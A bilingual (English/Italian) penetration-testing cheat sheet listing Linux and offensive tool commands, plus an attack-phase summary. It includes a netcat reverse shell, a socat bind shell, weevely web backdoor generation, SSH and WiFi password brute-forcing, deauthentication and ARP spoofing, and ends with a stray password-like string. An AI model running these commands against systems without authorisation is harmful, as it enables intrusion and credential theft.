1. Basic Linux Commands
    1. pwd – Print current working directory
    2. ls – List files in a directory
    3. cd – Change directory
    4. mkdir <dir> – Create a directory
    5. rm <file> – Remove a file
    6. rm -r <dir> – Remove a directory
    7. cp <src> <dest> – Copy files
    8. mv <src> <dest> – Move/rename files
    9. touch <file> – Create an empty file
    10. cat <file> – View file contents
    11. nano <file> – Edit a file using Nano
    12. vim <file> – Edit a file using Vim
    13. find / -name <filename> – Search for a file
    14. grep "text" <file> – Search for text in a file
    15. history – Show command history
2. System Information Commands
    1. uname -a – Show system information
    2. whoami – Display current user
    3. id – Display user ID and group ID
    4. uptime – Show system uptime
    5. df -h – Display disk usage
    6. du -sh <dir> – Show size of a directory
    7. top – Display active processes
    8. ps aux – List running processes
    9. kill <PID> – Terminate a process
    10. htop – Interactive process manager
3. User Management Commands
    1. adduser <username> – Add a new user
    2. deluser <username> – Delete a user
    3. passwd <username> – Change password
    4. usermod -aG sudo <username> – Grant sudo access
    5. groups <username> – Show groups of a user
    6. chmod 777 <file> – Change file permissions
    7. chown user:group <file> – Change file owner
4. Networking Commands
    1. ifconfig – Show network interfaces
    2. ip link set wlan0 up
    3. ip a – Display IP address
    4. iwconfig – Show wireless interfaces
    5. ping <IP> – Test network connectivity
    6. netstat -tulnp – Show open ports
    7. ss -tulnp
    8. nmap <IP> – Scan a target for open ports
    9. traceroute <IP> – Trace route to a host
    10. curl <URL> – Fetch data from a URL
    11. wget <URL> – Download a file
    12. dig <domain> – Get DNS information
    13. nslookup <domain> – Perform DNS lookup
5. Hacking & Penetration Testing Commands
    1. msfconsole – Start Metasploit
    2. msfvenom – Generate payloads

3. searchsploit <exploit> – Search for exploits
4. sqlmap -u <URL> --dbs – SQL injection testing
5. hydra -l user -P pass.txt <IP> ssh – Bruteforce SSH
6. john --wordlist=rockyou.txt hash.txt – Crack hashes
7. airmon-ng start wlan0 – Enable monitor mode
8. airodump-ng wlan0mon – Capture wireless packets
9. aireplay-ng -0 10 -a <BSSID> wlan0mon – Deauthenticate clients
10. aircrack-ng -w rockyou.txt -b <BSSID> <capture_file> – Crack WiFi password
11. hashcat -m 2500 hash.txt rockyou.txt – Crack hashes using GPU
12. ettercap -T -q -i eth0 – Perform ARP spoofing
13. driftnet -i eth0 – Capture images from network traffic
14. tcpdump -i eth0 – Capture network packets
15. tshark -i eth0 – Network traffic analysis
16. nikto -h <URL> – Scan web servers for vulnerabilities
17. gobuster dir -u <URL> -w /usr/share/wordlists/dirb/common.txt – Directory brute force
18. wpscan --url <URL> – Scan WordPress for vulnerabilities
19. subfinder -d <domain>: per trovare sottodomini in modo rapido.
20. httpx -l list.txt: Per verificare quali tra i domini trovati hanno un server web attivo.
21. nuclei -u <URL>: scanner di vulnerabilità basato su template

6. Privilege Escalation & Post-Exploitation
    1. sudo -l – Check sudo privileges
    2. sudo su – Switch to root user
    3. python -c 'import pty; pty.spawn("/bin/bash")' – Upgrade shell
    4. nc -lvnp <port> – Start a Netcat listener
    5. nc <IP> <port> -e /bin/bash – Reverse shell
    6. meterpreter> getuid – Show current user in Meterpreter
    7. meterpreter> getsystem – Attempt privilege escalation
    8. meterpreter> upload / download <file> – Transfer files
    9. meterpreter> shell – Get system shell
    10. linux-exploit-suggester – Suggest privilege escalation exploits
    11. ssh -D 1080 user@IP: Crea un proxy SOCKS dinamico per navigare all'interno della rete della vittima.
    12. chisel server -p 8000 --reverse: Strumento moderno per creare tunnel attraverso firewall restrittivi.
    13. ssh -L 8080:127.0.0.1:80 user@IP: Port forwarding locale per accedere a servizi interni (es. un database) non esposti all'esterno.
    14. LinPEAS è lo script più importante per trovare falle di privilegi su Linux (PEASS - Privilege Escalation Awesome Scripts SUITE (with colors)
        1. https://github.com/peass-ng/PEASS-ng)
    15. find / -perm -u=s -type f 2>/dev/null: Comando manuale critico per cercare file con bit SUID impostato.
7. File & Data Encryption
    1. gpg -c <file> – Encrypt a file
    2. gpg -d <file.gpg> – Decrypt a file
    3. openssl enc -aes-256-cbc -salt -in <file> -out <file.enc> – Encrypt using OpenSSL
    4. openssl enc -d -aes-256-cbc -in <file.enc> -out <file> – Decrypt file
8. Forensics & Steganography
    1. strings <file> – Extract strings from a file
    2. binwalk <file> – Analyze binaries
    3. foremost -i <image> – Extract files from an image
    4. exiftool <file> – View metadata of a file

5. stegseek <stegfile> – Detect hidden data in images

9. Password & Hash Cracking
    1. hashid <hash> – Identify hash type
    2. hydra -L users.txt -P passwords.txt ssh://<IP> – Brute-force SSH
    3. john hash.txt --wordlist=rockyou.txt – Crack password hashes
10. Web Application Testing
    1. dirb <URL> – Directory enumeration
    2. ffuf
    3. wfuzz -c -z file,wordlist.txt --hc 404 <URL>/FUZZ – Web fuzzing
    4. xsssniper -u <URL> – Test for XSS
    5. commix --url <URL> – Command injection testing
    6. burpsuite – Start Burp Suite for testing
11. Miscellaneous
    1. crunch 8 8 abcdefghijklmnopqrstuvwxyz – Generate a wordlist
    2. proxychains nmap -sT -Pn <IP> – Use proxychains with Nmap
    3. tor – Start Tor service
    4. mitmproxy – Start man-in-the-middle proxy
    5. setoolkit – Start Social Engineering Toolkit
    6. cewl -w words.txt -d 5 <URL> – Generate a custom wordlist
    7. weevely generate password backdoor.php – Create a web backdoor
    8. socat TCP-LISTEN:4444,fork EXEC:/bin/bash – Bind shell
    9. whois <domain> – Get domain information
    10. theHarvester -d <domain> -l 100 -b google – Gather email and subdomain information
    11. fcrackzip -u -D -p rockyou.txt <file.zip> – Crack ZIP passwords
    12. dnscan -d <domain> – Discover subdomains
    13. impacket-psexec domain/user:pass@IP: Parte della suite Impacket, fondamentale per il movimento laterale.
    14. responder -I eth0: Strumento cruciale per avvelenare le richieste LLMNR/NBT-NS e catturare hash di password in reti locali.
    15. lsblk: Visualizza i dischi e le partizioni montate
    16. tmux: Gestione di terminali multipli in una singola sessione (vitale durante i test)

12. Sommario

1. Ricognizione ed Enumerazione (Reconnaissance): in questa fase si raccolgono quante più informazioni possibili sul target.
    1. Informazioni di Rete: Utilizza ifconfig o ip a per identificare le tue interfacce. Verifica la connettività con ping <IP>.
    2. DNS & Domini: Ottieni informazioni sul dominio con whois <domain> e interroga i server DNS tramite dig <domain> o nslookup <domain>.
    3. Scansione Porte: Usa nmap <IP> per identificare porte aperte o proxychains nmap -sT -Pn <IP> per scansionare attraverso un proxy.
    4. Ricerca OSINT: Strumenti come theHarvester permettono di raccogliere email e sottodomini da fonti pubbliche.
2. Web Application Testing & Fuzzing: una delle aree più critiche, dove si cercano vulnerabilità software esposte sul web.
    1. Directory Discovery: Usa dirb <URL> o gobuster dir -u <URL> -w <wordlist> per trovare cartelle nascoste.
    2. Vulnerability Scanning: Esegui scansioni specifiche per CMS con wpscan --url <URL> o test generici con nikto -h <URL>.
    3. Testing Manuale: Avvia burpsuite per intercettare e modificare il traffico HTTP.

    4. Injection & XSS: Testa SQL Injection con sqlmap -u <URL> --dbs o vulnerabilità Cross-Site Scripting con xsssniper.
3. Exploitation & Accesso Iniziale: una volta trovata una vulnerabilità, si tenta di sfruttarla per ottenere un punto d'appoggio.
    1. Framework Principali: Avvia msfconsole per utilizzare Metasploit o cerca exploit specifici con searchsploit <exploit>.
    2. Payloads: Genera codice malevolo con msfvenom.
    3. Attacchi alle Password: Se i servizi sono esposti, usa hydra per attacchi brute-force su SSH o genera wordlist personalizzate con crunch e cewl.
4. Post-Exploitation & Privilege Escalation: ottenuto l'accesso, l'obiettivo è diventare "root" e mantenere il controllo.
    1. Analisi Privilegi: Controlla i permessi sudo con sudo -l o suggerisci vulnerabilità locali con linux-exploit-suggester.
    2. Shell Upgrade: Se hai una shell limitata, usa python -c 'import pty; pty.spawn("/bin/bash")' per renderla interattiva.
    3. Persistenza: Crea backdoor web con weevely o configura una bind shell con socat.
    4. Meterpreter: All'interno di una sessione Metasploit, usa getsystem per tentare l'escalation automatica o upload/download <file> per trasferire dati.
5. Cracking, Forensics e Sicurezza Dati: gestione delle prove e analisi dei dati cifrati recuperati.
    1. Password Cracking: Identifica il tipo di hash con hashid e decifralo con john hash.txt o hashcat usando la GPU.
    2. Analisi Forense: Estrai file nascosti in immagini con foremost, visualizza metadati con exiftool o analizza binari con binwalk.
    3. Cifratura: Proteggi i tuoi file con gpg -c <file> o usa OpenSSL per crittografia AES-256.

13. Ethical Hacking Quick Reference (Cheat Sheet)

1. Fondamentali e Navigazione Sistema
    1. pwd — Mostra la cartella attuale
    2. ls — Elenca i file in una directory
    3. cd <dir> — Cambia directory
    4. cat <file> — Visualizza il contenuto di un file
    5. whoami — Visualizza l'utente corrente
    6. id — Mostra ID utente e gruppi
    7. chmod 777 — Permessi totali su un file
2. Ricognizione e Networking
    1. ping <IP>: Testa la connettività di rete.
    2. nmap <IP>: Scansione delle porte aperte sul target.
    3. ifconfig / ip a: Visualizza le interfacce e l'indirizzo IP locale.
    4. netstat -tulnp: Mostra le porte aperte sul proprio sistema.
    5. whois <domain>: Ottiene informazioni sul proprietario del dominio.
    6. theHarvester -d <domain>: Raccoglie email e sottodomini pubblici.
    7. wget <URL>: Scarica un file da un server web.
3. Web Application Testing
    1. dirb <URL>: Ricerca directory e file nascosti.
    2. gobuster dir -u <URL> -w <wordlist>: Brute-force veloce di directory.
    3. nikto -h <URL>: Scansione vulnerabilità web server.
    4. sqlmap -u <URL> --dbs: Test automatico per SQL Injection.
    5. commix --url <URL>: Test per Command Injection.
    6. burpsuite: Avvia il proxy per intercettare il traffico web.
4. Exploitation e Reverse Shell

1. msfconsole: Avvia il framework Metasploit.
2. searchsploit <exploit>: Cerca exploit nel database locale.
3. nc -lvnp <port>: Avvia un listener Netcat per ricevere shell.
4. nc <IP> <port> -e /bin/bash: Invia una Reverse Shell.
5. hydra -L users.txt -P pass.txt ssh://<IP>: Attacco brute-force SSH.

5. Post-Exploitation e Scalata Privilegi
    1. python -c 'import pty; pty.spawn("/bin/bash")': Stabilizza la shell (Upgrade).
    2. sudo -l: Controlla i propri privilegi sudo.
    3. sudo su: Tenta di diventare l'utente root.
    4. linux-exploit-suggester: Suggerisce exploit per escalation locali.
    5. meterpreter> getsystem: Tenta l'escalation automatica in Meterpreter.
6. Password Cracking e Forensics
    1. hashid <hash>: Identifica il tipo di algoritmo dell'hash.
    2. john hash.txt --wordlist=rockyou.txt: Cracka l'hash usando una wordlist.
    3. exiftool <file>: Visualizza i metadati di un file (es. immagini).
    4. binwalk <file>: Analizza e cerca file nascosti dentro altri file.
    5. stegseek <stegfile>: Trova dati nascosti tramite steganografia.
    6. fcrackzip -u -D -p rockyou.txt <file.zip>: Cracka password di file ZIP.

14. https://www.vulnhub.com/, per scaricare challenges. !!!!ATTENZIONE!!!! Le macchine virtuali non sono controllate
    1. ZVin9mxBi@Xe